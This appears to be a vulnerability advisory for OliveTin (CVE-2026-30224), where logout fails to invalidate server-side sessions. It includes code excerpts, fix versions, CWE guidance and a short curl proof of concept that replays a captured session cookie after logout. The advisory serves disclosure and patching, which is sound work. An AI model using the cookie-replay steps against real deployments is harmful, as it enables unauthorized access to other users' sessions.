GHSA-gq2m-77hf-vwgh CVE-2026-30224 GO-2026-4623
OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.39% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
0.0.0-20260304233115-d6a0abc3755d15- Upgrade github.com/OliveTin/OliveTin to this version or later
Description
Summary
OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).
An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.
This is a session management flaw that violates expected logout semantics.
Details
During logout:
// Logout only clears browser cookie
response.Header().Set("Set-Cookie", localCookie.String())
However, the server still accepts the session:
session := sessionStorage.Providers[provider].Sessions[sid]
...
return session
The SID is not deleted from sessionStorage.
Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).
File: api.go, sessions.go, local.go Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior
- Login → receive SID cookie
- Logout → cookie cleared client-side
- Replay old SID manually → still authenticated
Expected:
- Logout invalidates session immediately
Actual:
- Old SID remains usable until expiry
PoC
Minimal config
listenAddressSingleHTTPFrontend: 0.0.0.0:16642
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: low
usergroup: users
password: "$argon2id$..."
actions:
- title: Dummy
id: dummy
shell: "echo dummy"
Reproduction
Login and capture SID:
LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"lowpass"}')
SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')
Works before logout:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Logout:
curl -X POST http://localhost:16642/api/Logout \
-H "Cookie: olivetin-sid-local=$SID"
Replay old cookie:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Result
User is still authenticated after logout.
Impact
Type:
Session Management Flaw
- Logout Bypass
- Session Replay
Risk:
- Stolen cookies remain valid
- Persistent unauthorized access
- Users falsely believe logout ended the session
Attack scenarios:
- Shared computers
- XSS/session theft
- Proxy logs
- Malware/browser compromise
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/OliveTin/OliveTin | < 0.0.0-20260304233115-d6a0abc3755d15 |
0.0.0-20260304233115-d6a0abc3755d15 |
| github.com/OliveTin/OliveTin | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/OliveTin/OliveTin Go → 0.0.0-20260304233115-d6a0abc3755d15
- go
go get github.com/OliveTin/OliveTin@v0.0.0-20260304233115-d6a0abc3755d15 && go mod tidy
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-384: Session Fixation
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
How to prevent it
- Architecture and Design: Invalidate any existing session identifiers prior to authorizing a new user session.
- Architecture and Design: For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CWE-613: Insufficient Session Expiration
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
How to prevent it
- Implementation: Set sessions/credentials expiration date.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-jm28-2wcr-qf3h OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xc5w-4v5w-7x65 OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xpxj-f2fm-rqch OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-prj9-97mp-mwh2 OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-f637-w7p2-m7fx OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration | Low | Also affects github.com/OliveTin/OliveTin |
| GHSA-7fq5-7wr8-rjwj OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-xx6g-43w2-9g6g OliveTin's email argument makes compliance harder, enables log injection | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-228v-wc5r-j8m7 OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream | Medium | Also affects github.com/OliveTin/OliveTin |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor